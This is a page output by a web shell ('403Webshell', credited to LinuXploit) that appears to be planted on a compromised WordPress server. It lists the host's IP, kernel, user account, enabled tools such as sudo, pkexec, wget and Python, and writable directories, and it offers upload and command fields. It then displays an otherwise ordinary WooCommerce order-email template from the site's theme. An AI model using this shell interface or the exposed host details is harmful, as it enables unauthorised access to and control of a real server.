403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/coopermain/wp-content/themes/cooper/woocommerce/emails/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/coopermain/wp-content/themes/cooper/woocommerce/emails/email-order-details.php
<?php
/**
 * Order details table shown in emails.
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/emails/email-order-details.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates\Emails
 * @version 3.7.0
 */

defined('ABSPATH') || exit;

$text_align = is_rtl() ? 'right' : 'left';

if(!function_exists('wc_get_email_order_items_custom')) {
    /**
     * Overide WC function, cause it's not designed well (can't handle user-introduced function arguments) and I refuse
     * to build extra overhead just to store and pass through a single variable.
     *
     * @param $order WC_Order
     * @param array $args
     * @return mixed|void
     */
    function wc_get_email_order_items_custom( $order, $args = array() ) {
        ob_start();

        $defaults = array(
            'show_sku'      => false,
            'show_image'    => false,
            'image_size'    => array( 32, 32 ),
            'plain_text'    => false,
            'sent_to_admin' => false,
        );

        $args     = wp_parse_args( $args, $defaults );
        $template = $args['plain_text'] ? 'emails/plain/email-order-items.php' : 'emails/email-order-items.php';
        $other_args =             array(
            'order'               => $order,
            'items'               => $order->get_items(),
            'show_download_links' => $order->is_download_permitted() && ! $args['sent_to_admin'],
            'show_sku'            => $args['show_sku'],
            'show_purchase_note'  => $order->is_paid() && ! $args['sent_to_admin'],
            'show_image'          => $args['show_image'],
            'image_size'          => $args['image_size'],
            'plain_text'          => $args['plain_text'],
            'sent_to_admin'       => $args['sent_to_admin'],
        );

        wc_get_template(
            $template,
            apply_filters(
                'woocommerce_email_order_items_args',
                array_merge($args, $other_args)
            )
        );

        return apply_filters( 'woocommerce_email_order_items_table', ob_get_clean(), $order );
    }
}

//if(!$is_fitter && !$flag_2) {
//    echo '<div style="text-align: center">';
//    do_action('woocommerce_email_before_order_table', $order, $sent_to_admin, $plain_text, $email);
//    echo '</div>';
//} ?>

<?php //if(!$flag_2): ?>
<!--<p style="font-weight: normal; text-align: center; margin: 16px 0">-->
<!--    --><?php
//    if ($sent_to_admin && !$is_fitter) {
//        $before = '<a class="link" href="' . esc_url($order->get_edit_order_url()) . '">';
//        $after = '</a>';
//    } else {
//        $before = '';
//        $after = '';
//    }
//    /* translators: %s: Order ID. */
//    echo wp_kses_post(
//        $before . '<strong>' . sprintf(__('Order #%s ', 'woocommerce') . '</strong>' . $after . 'Ordered on <strong><time datetime="%s">%s</time></strong>',
//            $order->get_order_number(),
//            $order->get_date_created()->format('c'), wc_format_datetime($order->get_date_created()))
//    ); ?>
<!--</p>-->
<?php //endif; ?>

<?php

?>

<div style="margin-bottom: 40px; <?= $is_fitter ? 'border-bottom: solid 1px #E6E6E6' : '' ?>">
    <table cellspacing="0"
           style="width: 100%; font-family: Arial, sans-serif;">

        <thead>
        <?php if( !$sent_to_admin && !$is_fitter && $email && $email->id !== 'customer_completed_order' ): ?>
        <tr>
            <td colspan="3" style="text-align: left; padding-left: 0; font-weight: bold; color: #1B1B1B; border-top: solid 1px #E6E6E6; padding-top: 32px; padding-bottom: 32px">
                PAYMENT STATUS
            </td>
            <td colspan="3" style="text-align: right; padding-right: 0; border-top: solid 1px #E6E6E6; padding-top: 32px; padding-bottom: 32px">
                <span class="order-status-badge" style="font-weight: bold"><?= $order->get_status() != 'processing' ?: 'PAID' ?></span>
            </td>
        </tr>
        <?php endif; ?>
        </thead>

        <tbody>
        <?php
        echo wc_get_email_order_items_custom( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
            $order,
            array(
                'show_sku' => $sent_to_admin,
                'show_image' => true,
                'image_size' => array(60, 60),
                'plain_text' => $plain_text,
                'sent_to_admin' => $sent_to_admin,
                'is_fitter' => $is_fitter,
            )
        );
        ?>
        </tbody>

        <?php if( !$is_fitter ): ?>
        <tfoot>
        <?php
        $item_totals = $order->get_order_item_totals();

        if ($item_totals) {
            $i = 0;
            foreach ($item_totals as $key => $total) {
                if($key === 'payment_method' || $key === 'cart_subtotal') { continue; }
                $i++;
                ?>
                <tr>
                    <th scope="row" colspan="3"
                        style="white-space: nowrap;
                                padding-top: 20px;
                                padding-bottom: 20px;
                                text-transform: uppercase;
                                color: #1B1B1B;
                                text-align:<?php echo esc_attr($text_align); ?>; <?php echo (1 === $i) ? 'border-top: solid 1px #E6E6E6;' : ''; ?>">
                        <?php echo wp_kses_post(str_replace(":", "", $total['label'])); ?><br>
                        <div style="font-size: 16px;
                                line-height: 25px;
                                font-weight: normal;
                                color: #1B1B1B;
                                text-transform: none">
                            incl. GST
                        </div>
                    </th>
                    <td style="<?php echo (1 === $i) ? 'border-top: solid 1px #E6E6E6;' : ''; ?>"></td>
                    <td style="<?php echo (1 === $i) ? 'border-top: solid 1px #E6E6E6;' : ''; ?>"></td>
                    <td class="<?= 'order-total-price' ?>"
                            style="text-align: right; color: #1b1b1b; <?php echo (1 === $i) ? 'border-top: solid 1px #E6E6E6;' : ''; ?>">
                        <?php echo wp_kses_post($total['value']); ?>
                    </td>
                </tr>
                <?php
            }
        }
        ?>

        <?php if(!$sent_to_admin): ?>
        <tr>
            <th scope="row" colspan="3"
                style="white-space: nowrap;
                        color: #1B1B1B;
                        padding-top: 20px;
                        padding-bottom: 20px;
                        border-top: solid 1px #E6E6E6;
                        text-transform: uppercase;"><?= wp_kses_post(str_replace(":", "", $item_totals['payment_method']['label'])) ?>
            </th>
            <td style="border-top: solid 1px #E6E6E6;"></td>
            <td style="border-top: solid 1px #E6E6E6;"></td>
            <td style="border-top: solid 1px #E6E6E6; text-align: right; font-weight: 700; color: #1b1b1b; text-transform: uppercase"><?= wp_kses_post($item_totals['payment_method']['value']) ?></td>
        </tr>
        <tr>
            <td colspan="3" style="text-align: left; font-weight: bold; color: #1B1B1B; border-top: solid 1px #E6E6E6; padding: 32px 12px 32px 12px;">
                PAYMENT STATUS
            </td>
            <td colspan="3" style="text-align: right; border-top: solid 1px #E6E6E6; padding: 32px 12px 32px 0;">
                <?php

                $status = $order->get_status();
                if($status === 'processing' || $status === 'completed') {
                    $status = 'PAID';
                }
                ?>
                <span class="order-status-badge" style="font-weight: bold"><?=  $status ?></span>
            </td>
        </tr>
        <?php endif; ?>

        <?php if ($order->get_customer_note()) { ?>
            <tr>
                <th scope="row" colspan="2"
                    style="text-align:<?php echo esc_attr($text_align); ?>; white-space: nowrap">
                    <?php esc_html_e('Note:', 'woocommerce');?>
                </th>
                <td style="<?php echo (1 === $i) ? 'border-top: solid 1px;' : ''; ?>"></td>
                <td style="<?php echo (1 === $i) ? 'border-top: solid 1px;' : ''; ?>"></td>
                <td
                    style="text-align:<?php echo esc_attr($text_align); ?>;"><?php echo wp_kses_post(nl2br(wptexturize($order->get_customer_note()))); ?></td>
            </tr>
            <?php
        }
        ?>
        </tfoot>
        <?php endif; ?>

    </table>
</div>

<?php do_action('woocommerce_email_after_order_table', $order, $sent_to_admin, $plain_text, $email); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit